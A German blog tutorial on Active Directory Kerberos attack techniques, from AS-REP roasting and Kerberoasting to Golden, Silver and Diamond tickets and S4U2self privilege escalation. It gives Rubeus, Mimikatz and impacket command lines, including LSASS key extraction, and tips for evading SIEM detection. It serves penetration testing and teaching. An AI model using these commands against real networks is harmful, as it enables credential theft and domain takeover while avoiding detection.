Blog

Kerberos Playbook

22.12.2022 | 13 minutes read
Share this:

Note: Für alle hier genannten Tools gilt wie immer, Verwendung unter eigener Gefahr.

Das Kerberos-Protokoll ist ein Protokoll voller Missverständnisse. Allerdgins kann man mit dem Protokoll auch eine Menge interessante Dinge anstellen. Einen Teil davon möchte ich in diesem Artikel darstellen. Auf Englisch gibt es bereits zahlreicher solcher Artikel, wie zum Beispiel hier. Wobei ich in den Blogs den Terminus “Angriff” in dem Zusammenhang an manchen Stellen unglücklich finde. Die meisten Techniken (finde ich persönlich die schönere Wortwahl) setzen Wissen voraus, dass für die korrekte Funktionsweise von Kerberos als geheim eingestuft wird. Hier von Angriff zu sprechen wäre meiner Meinung nach so, als würde ich jemanden meinen Wohnungsschlüssel geben und wenn er damit in die Wohnung geht, nenne ihn Einbrecher.

Da es im Internet viele tolle Blogs darüber gibt, wie Kerberos im Detail funktioniert, beschränke ich mich hier auf die notwendigen Informationen. Wer noch keine Ahnung hat, wie Kerberos funktioniert, oder einfach sein Wissen auffrischen will, dem empfehle ich unter anderem diesen Blog hier.

Disclaimer: In dem Post werde ich Kerberos in vereinfachter Form erklären, wo es notwendig ist. Es soll keine vollständige oder 100% akkurate Erklärung von Kerberos werden.

User Enumeration

In Kerberos gibt es zwei Arten von Tickets. Das Ticket Granting Ticket (TGT) und das Ticket-Granting-Service (TGS). Das Kerberos-Protokoll beginnt damit, dass ein Teilnehmer ein TGT mit einem Authentication Request (AS-REQ) beim Domain Controller anfragt. Wenn der Benutzer nicht existiert, antwortet der Domain Controller mit dem Fehlercode PRINCIPAL UNKNOWN. Dieses Verhalten kann ausgenutzt werden, um valide Benutzernamen in einer Domäne zu finden ohne einen Lockout. Ein weiterer Vorteil ist, dass Events nur dann erzeugt werden, wenn Kerberos Logging aktiviert ist.

Sowohl unter Linux als auch unter Windows kann hier kerbrute von @ropnop verwendet werden. Das Tool findet ihr hier.

Kerbrute userenum

AS-REP Roast

Wenn ein Benutzer eine Anmeldung in einem Netzwerk mit Kerberos durchführen will, sendet er einen Authentication Request (AS-REQ) mit seinem Benutzernamen. Darauf hin erzeugt der Domain Controller eine Authentication Response (AS-REP) und verschlüsselt einen Teil davon mit Passwort des anfragenden Teilnehmers. Nehmen wir mal an, ich könnte dies für jeden Benutzer in einem Active Directory einfach so anfragen, dann könnte ich alle AS-REP sammeln, mit nach Hause nehmen und beliebig lange versuchen, die dazugehörenden Passwörter zu erraten. Dadurch wären alle Maßnahmen, die versuchen Passwort-Bruteforce zu verhindern oder zu erkennen, wie Lockout-Policies, hinfällig.

Damit dies nicht geschieht, wurde in Kerberos die Pre-Authentication implementiert. Dafür sendet der Benutzer den aktuellen Zeitstempel verschlüsselt mit dem longterm Key (erzeugt aus dem eigenen Passwort) an den Domain Controller. Der Domain Controller entschlüsselt den Zeitstempel und prüft, ob der Wert innerhalb der letzten 5 Minuten liegt. Somit ist sichergestellt, dass Benutzer nur eigene AS-REP anfragen können. Aus Kompatibilitätsgründen kann die Anforderung zur Pre-Authentication auch deaktiviert werden. Für diese Benutzer kann dann ein AS-REP angefragt werden, ohne das überprüft wird, ob die Anfrage legitim ist.

Diese Technik funktioniert in zwei Phasen. Zuerst müssen Benutzerkonten identifiziert werden, die keine Pre-Authentication verlangen. Anschließend wird für diese Benutzer eine AS-REQ zum Domain Controller gesendet. Auf die Antwort (AS-REP) dann ein Bruteforce-Angriff durchgeführt werden.

Linux

Auf Linux kann das Skript GetNPUser.py aus impacket verwendet werden.

GetNPUsers.py <Domäne>/ -usersfile <Datei mit Benutzername> -format <[hashcat | john]> -outputfile <Datei, in der die Ausgabe geschrieben werden soll>

ASREPRoastLinux

Windows

Unter Windows kann u.a. Rubeus oder PowerView verwendet werden. Leider kann Rubeus nicht direkt eine Liste mit Benutzer entgegen nehmen. Aber mit einem zweistufigen Vorgehen, kann das gleiche wie mit GetNPUser.py erreicht werden.

Rubeus.exe preauthscan /users:<Datei mit Benutzernamen> /domain:<Domäne> /dc:<Domain Controller>

ASREPRoastWindows

So können die Benutzer, die “Pre-Auth” nicht benötigen, gefunden und in einem zweiten Schritt, können dann die entsprechenden Daten für Hashcat ermittelt werden. Findige Lesern dürfte auffallen, dass das gleiche Vorgehen wie bei kerbrute ist. Rubeus kann also auch zum Durchprobieren von Benutzernamen verwendet werden.

Rubeus.exe asreproast /outfile:<Datei, in der die Ausgabe geschrieben werden soll> /format:<[hashcat | john]> /dc:<Domain Controller> /user:waylon /domain:<Domäne>

ASREPRoastLinux

Wenn bereits Credentials bekannt sind, kann das Ganze abgekürzt werden. Rubeus hat eine Funktion in der er alle Benutzer, die keine Pre-Auth benötigen, zuerst abfragt und dann die Hashes erzeugt werden. Das überlasse ich dann aber dem Leser.

Kerberoasting

Kerberoasting funktioniert ähnlich wie AS-REP Roasting. Nur wird hier nicht das TGT (AS-REP) sondern das TGS (TGS-REP) versucht zu bruteforcen, um das Passwort für einen Benutzer zu erraten. Damit ein TGS für einen Benutzer angefragt werden kann, muss für diesen ein Service Principal Name (SPN) vorhanden sein. Daher funktioniert Kerberoasting auch in zwei Phasen. Als Erstes werden alle Benutzer mit einem SPN gesucht. Anschließend werden TGS für die Benutzer angefragt, exportiert und mit entsprechenden Tools versucht zu brechen.

Voraussetzung hierfür ist, dass bereits Zugangsdaten oder ein TGT für einen Benutzer vorliegt.

Linux

Unter Linux kann ein Skript von impacket verwendet werden.

GetUserSPNs.py <Domain>/<Benutzername>:<Passwort> -dc-ip <DomainController> -outputfile <Datei, in der die Ausgabe geschrieben werden soll>

KerberoastLinux

Da manche SIEM-Regeln oder andere Tools legitime von nicht legitimen Kerberos-Anfragen an den Ticket-Optionen versuchen zu unterscheiden, hat TrustedSec das Tool orhpeus veröffentlicht. Damit können individuelle Ticketoptionen gesetzt und getestet werden. Den ganzen Blogpost dazu findet ihr hier.

KerberoastLinuxOrphus

Windows

Unter Windows kann Rubeus für Kerberoast verwendet werden.

Rubeus.exe kerberoast /nowrap

KerberoastWindows

Pass the Key

In Kerberos gibt es zwei Arten von Keys (Schlüsseln), die für das Protokoll benötigt werden. Der longterm Key - erzeugt aus dem Passwort vom jeweiligen Teilnehmer - und der shortterm Key, auch Session-Key genannt, der vom Domain Controller erzeugt wird. Der longterm Key wird für die Pre-Authentication und zum entschlüsseln von AS-REP Packeten benötigt, die dann den u.a. den shorttem Key enthält. Dadurch ist es für Kerberos ausreichend, den longterm Keys von einem Benutzer zu kennen, um in seinem Namen Tickerts anzufragen. Das eigentlichen Passwort benötige ich nicht.

Dafür muss ich zunächst einmal an den longterm Key kommen kommen. Hier gibt es zahlreiche Möglichkeiten. Die bekannteste Möglichkeit ist wohl die Verwendung von Mimikatz, um den longterm Key (in Mimikatz auch EncryptionKey oder EKey genannt) aus der LSASS zu extrahieren.

privilege::debug
sekurlsa::ekeys

Eine andere Möglichkeiten ist dcsync. Das setzt allerdings Domänen-Admin ähnliche Berechtigungen gleich. Die dritte Möglichkeit, um an den longterm Key von einem Benutzer zu kommen, ist UnPAC the hash. Nähere Infos dazu findet ihr hier. Wenn ich einen longterm Key aka. Passwort-Hash habe, kann ich damit sowohl auf Windows als auch auf Linux weiterarbeiten.

Linux

Auf Linux kann das Skript getTGT.py von impacket verwendet.

python3 ./getTGT.py -hashes :<NT-Hash> -aesKey <AES256 Key> -dc-ip <IP vom Domänen-Controller> <Domäne>/<Benutzername>

Anschließen kann die erzeugte Datei .ccache mit anderen impacket-Skripten kombiniert werden. Meiner Beobachtung nach ignoriert impacket den Parameter -aesKey wenn der Parameter -hashes verwendet wird. Das führt dazu, dass wenn der Parameter -hashes verwendet wird, als ENCTYPE nur eTYPE-ARCFOUR-HMAC-MD5 (23) angefragt wird, was unter Umständen in einem SIEM auffallen könnte. Im Gegensatz dazu, wenn nur der Parameter -aesKey spezifiziert wird, so bietet impacket dem DC nur den ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18) an.

PassTheKey

Windows

Unter Windows kann Mimikatz oder Rubeus verwendet werden. Rubeus unterstützt Pass-The-Key mit dem Befehl asktgt.

Rubeus.exe asktgt /user:<Benutzername> /rc4:<RC4-Key> /aes128:<AES128-Key> /aes256:<AES256-Key> domain:<Domäne> /ptt

Hier konnte ich die gleiche Beobachtung machen, wie bei impacket. In dem obigen Beispiel wird als ENCTYPE nur eTYPE-ARCFOUR-HMAC-MD5 (23) dem Domain-Controller angeboten.

EncType

Wenn der Wert ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18) verwendet sein soll, so darf nur der Paramter /aes256 mitgegeben werden. Alternativ kann der Parameter /opsec mit angehängt werden. Dann werden alle ENCTYPE mit angefragt und der “sicherste” vom Domain Controller genommen. Das entspricht dem Verhalten von einem normalen Client.

EncType

Pass the Ticket

Anstatt die Keys zu stehlen und eigene Tickets beim Domain Controller anzufragen, besteht auch die Möglichkeit die Tickets von einem Benutzer zu stehlen und selbst zu verwenden. Wie ihr an die Tickets kommt bleibt euch überlassen. Aber wenn ihr ein Ticket habt, könnt ihr das sowohl unter Linux als auch unter Windows nutzen. Gegebenenfalls muss das Ticket noch zwischen den Formaten kirbi und ccache konvertiert werden. Dazu kann beispielsweise das Skript ticketConverter.py genutzt werden.

# kirbi -> ccache
ticketConverter.py ticket.kirbi ticket.ccache

# ccache -> kirbi
ticketConverter.py ticket.ccache ticket.kirbi

Linux

Unter Linux können die Kerberos Tickets im Format ccache direkt in den impacket Skripten verwendet werden. Standardmäßig werden die Tickets oder das Ticket in der Umgebungsvariable KRB5CCNAME referenziert. Ihr könnt beispielsweise die Variable einmal exportieren mit export KRB5CCNAME=<Pfad zum ccache-File oder ihr macht es wie ich und hängt es immer vorne an den Befehl ran.

bash: export KRB5CCNAME=<Pfad zum CCache-File>; python3 ./psexec.py -no-pass -k -dc-ip <IP Domain Controller> <Benutzername>@<FQDN vom Ziel!>
fish: KRB5CCNAME=<Pfad zum CCache-File> python3 ./psexec.py -no-pass -k -dc-ip <IP Domain Controller>  <Benutzername>@<FQDN vom Ziel!>
zsh: export KRB5CCNAME=<Pfad zum CCache-File>; python3 ./psexec.py -no-pass -k -dc-ip <IP Domain Controller>  <Benutzername>@<FQDN vom Ziel!>

Windows

Unter Windows können Tickets mittels Rubeus oder Mimikatz in die aktuelle Sitzung (Prozess) integriert werden.

Rubeus.exe ptt /ticket:<Ticket in Base64>

Alternativ können die Tickets auch dekodiert und als .kirbi gespeichert werden.

 [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<Ticket>"))

In Mimikatz können Tickets in .kirbi Format ebenfalls eingelesen und verwendet werden.

kerberos::ptt <Pfad zum Ticket>

Golden Ticket

Im Paket AS-REP ist neben einen shortterm Key, für zukünfitge Anfragen nach TGS (TGS-REQ) auch das TGT enthalten. Das TGT enthält u.a. die relevanten Informationen über den Benutzer in einem sogenannten Privilege Attribute Certificat (PAC). Es ist verschlüsselt mit dem Passwort von einem Pseudobenutzer mit dem Namen KRBTGT. Aus Performancegründen und aufgrund der Annahme, dass das Passwort vom Benutzer KRBTGT geheim ist, wird bei der Anfrage von einem Service Ticket (TGS-REQ) das TGT lediglich entschlüsselt und das PAC in das TGS kopiert. Der Domain Controller kontrolliert in der Regel nicht die Integrität oder die Echtheit vom PAC.

Wenn nun ein Angreifer selbst in Besitzt vom Passwort (oder dem longterm Key) vom KRBTGT Benutzer ist, so kann er eigene TGT mit eigenen PACs erstellen. Dies ist auch als Golden Ticket Angriff bekannt. Wie ihr an den entsprechenden Schlüssel kommt, überlasse ich euch.

In den meisten Tutorials wird der NT-Hash (fälschlicherweise auch NTLM-Hash genannt) verwendet. Damit fallt ihr in der Regel aber sehr schnell auf. Daher würde ich immer den AES-Key verwenden.

Linux

Unter Linux kann mit dem Skript ticketer.py aus impacket ein Golden Ticket erstellt werden.

./ticketer.py -nthash <Hash vom KRBTGT-Benutzer> -domain-sid <Domänen-SID> -domain <Domäne> <Benutzername>

Mit dem Schalter -aesKey könnt ihr hier den AES-Key verwenden.

Golden Ticket Linux

Windows

Unter Windows können hier sowohl Mimikatz als auch Rubeus eingesetzt werden.

In Mimikatz muss das Modul kerberos mit dem Befehl golden verwendet werde.

kerberos::golden /user:<Benutzername> /domain:<Domäne> /rc4:<NT-Hash vom KRBTGT Benutzer> /sid:<Domänen-SID> /ptt

Golden Ticket Mimikatz

In Rubeus muss das Kommando golden verwendet werden.

.\Rubeus.exe golden /user:<Benutzername> /domain:<Domäne> /rc4:<NT-Hash vom KRBTGT Benutzer> /sid:<Domänen-SID>

Golden Ticket Rubeus

Silver Ticket

Für den Zugriff auf einen Service benötigt ein Benutzer ein TGS. Dieses kann für jeden anderen Benutzer oder System angefragt werden, das über einen Service Principal Name verfügt. Um ein TGS zu erhalten, sendet der Benutzer ein TGS-REQ an den Domain Controller. Der Domain Controller sendet darauf hin ein TGS-REP an den Client zurück. Eine Überprüfung, ob der Client berechtigt ist den Dienst zu nutzen, findet nicht statt. In dem TGS-REP sind zwei Informationen eingebettet. Einen shorttem Key (Session Key) für die Kommunikation zwischen Client und Service, so wie ein TGS. Das TGS enthält die notwendigen Informationen über den anfragenden Benutzer in einem PAC, sowie den gleichen Session Key. Das TGS ist mit dem longterm Key vom Ziel-Service verschlüsselt. Unter der Annahme, dass das Passwort nur dem Domain Controller und dem Service selber bekannt sind, prüft der Dienst nicht die Authentizität der Informationen im PAC. (Ausnahme stellt die PAC Validation dar, ist aber meist nicht aktiv)

Wenn nun das Passwort (longterm Key) für den Dienst einer dritten Partei bekannt ist, so kann diese ein eigenes TGS erstellen und so dem Service ein beliebiges PAC unterjubeln. Beispielsweise, ist es dann möglich in das PAC die SID von einem lokalen Admin einzubetten.

Der Befehlt für das Silver Ticket ist dem Befehl für das Golden Ticket sehr ähnlich. Es muss lediglich ein SPN ergänzt werden.

Linux

Unter Linux kann ein Silver Ticket mit dem Skript ticketer.py aus impacket erstellt werden.

./ticketer.py -nthash <Hash vom Computer/Service-Account> -domain-sid <Domänen-SID> -domain <Domäne> -spn <SPN vom Service, den man nutzen möchte> <Benutzername>

Alternativ kann auch hier der Parameter -aesKey verwendet werden.

Windows

Unter Windows mit Mimikatz müssen die Paramter /service und /target ergänzt werden.

kerberos::golden /user:<Benutzername> /domain:<Domäne> /rc4:<Hash vom Computer/Service-Account> /target:<FQDN vom Zielsystem> /service:<Service> /ptt

Mit Rubeus kann ebenfalls ein Silver Ticket erzeugt werden.

Rubeus.exe silver /rc4:<Hash vom Computer/Service-Account> /domain:<Domäne> /service:<SPN> /user:<Benutzername> /sid:<Domänen-SID> /altservice:<Alternative Dienste>

Diamond Ticket

Diamond Ticket ist eine abgewandelte Form von Golden Ticket. Im Gegensatz zu einen Goldenen Ticket, das selber erzeugt wird, wird bei einem Diamond Ticket ein bestehendes TGT “angepasst”. Dafür wird das TGT, mit dem Passwort vom KRBTGT Benutzer entschlüsselt, verändert und wieder neu verschlüsselt. So kann beispielsweise eine zusätzliche SID in das PAC eingebettet werden.

Linux

Unter Linux kann impacket verwendet werden, um ein Diamond Ticket zu erstellen. Dafür muss aber entweder das Passwort oder der NT-Hash vom Benutzer bekannt sein.

python3 ./ticketer.py -request -user '<Benutzername>' -domain '<Domäne>' -password '<Passwort von einem Benutzer>' -aesKey 'AES-Key vom KRBTGT Benutzer' -domain-sid '<Domänen SID>' -user-id <UserID> -groups '<Gruppen>' '<Benutzername>'

Diamon Ticket Linux

Windows

Unter Windows kann hierfür Rubeus verwendet werden. Es gibt verschiedene Möglichkeiten, an das ursprüngliche Ticket zu gelangen. Entwerder mittels /tgtdeleg oder durch die Eingabge von Benutzername und Passwort für einen Benutzer.

Rubeus.exe diamond /krbkey:<AESKeys vom KRBGTG Benuter> /tgtdeleg /ticketuser:<Benutzername> /ticketuserid:<User ID> /groups:<Gruppen> /nowrap  /enctype:AES256

Zu beachten ist, dass hier der AES-Key vom Benutzer KRBTGT benötigt wird, da die TGT - zumindest in modernen Umgebungen - damit verschlüsselt werden.

Diamon Ticket

Sapphire Ticket

Sapphire Tickets funktionieren ähnlich wie Diamond Tickets. Der Unterschied ist, während bei einem Diamond Ticket das PAC gefälscht wird, wird in einem Sapphire Ticket das PAC im TGT mit einem anderen legitimen PAC ausgetauscht. Um an das andere PAC zu kommen, kann der S4U2self+u2u Trick verwendet. Im Grunde wird ein Mechanismus in Kerberos ausgenutzt, welcher normalerweise einem Service ermöglichen soll, ein PAC für einen beliebigen Benutzer vom Domain Controller zu erhalten. In der Regel wird das benötigt, um den Benutzer im Netzwerk zu impersonieren bzw. dessen Attribute zu erhalten. Im Detail wird es u.a. hier beschrieben.

Leider gibt es weder für Windows noch für Linux aktuell ein Werkzeug, dass diesen Angriff unterstützt.

S4U2Self Privilege Escalation

Dies stellt eine Alternative zur allseits beliebten Privilege Escalation von Network Service/AppPool Identity zu Local System dar. Beispiele dafür findet ihr hier oder hier. Eine Alternative zu den Angriffen mittels der Potato-Suits stellt Kerberos dar.

Dafür wird zu aller erst ein TGT für den Computer benötigt. Da keine Admin-Rechte vorliegen, kann dies nicht einfach aus der LSASS extrahiert werden. Allerdings kann mit den Befehl tgtdeleg ein TGT erhalten werden. Was der Befehl tut, kann hier nachgelesen werden.

Erzeugen vom TGT

Im Anschluss geht es auf einem dritten System weiter. Der Computer muss nicht zwangsläufig Teil einer Windows-Domäne sein.

Windows

Auf Windows kann hier mit Rubeus weitergearbeitet werden.

.\Rubeus.exe s4u /self /nowrap /impersonateuser:<Admin auf Zielsystem> /dc:<Domain Controller> /domain:<Domäne> /ptt /altservice:<SPN für einen Service der ausgenutzt werden soll> /ticket:<Ticket>

Erzeugen von einem TGS im Namen eines Admins

Im Anschluss kann das Ticket beispielsweise für WinRM (Enter-PSSession) verwendet werden.

Anzeigen und Verwendung vom Ticket

Linux

Unter Linux kann impacket verwendet werden. Allerdings muss aktuell ein bestimmter Branch genutzt werden: ShutdownRepo siehe hier.

Als erstes muss das Ticket auf Linux kopiert und vom Format kirbi in ccache umgewandelt werden.

Ticket kopieren

Der folgende Befehl erledigt dann den Rest.

python ./ticketConverter.py CL1\$.kirbi CL1\$.ccache

Im Anschluss kann das Ticket für den Benutzer homer, der ein lokaler Adminsitrator auf CL1 ist, vom Domain Controller angefragt werden. Der notwendige Befehl sieht wie folgt aus:

KRB5CCNAME=<CCache Datei mit Ticket vom Computer> python3 ./getST.py -k -no-pass -dc-ip <IP vom DC> <Domain/Computername mit $> -impersonate <Ziel> -self -altservice <SPN der später genutzt werden soll> -self

S4USelf unter Linux

Im Anschluss kann das Ticket mit beispielsweise mit psexec.py verwendet werden.

Wie immer gilt falls ihr Fragen, Anmerkungen oder Verbesserungsvorschläge zu dem Artikel habt, schreibt eine Mail an info@hackmich.net.

Quellen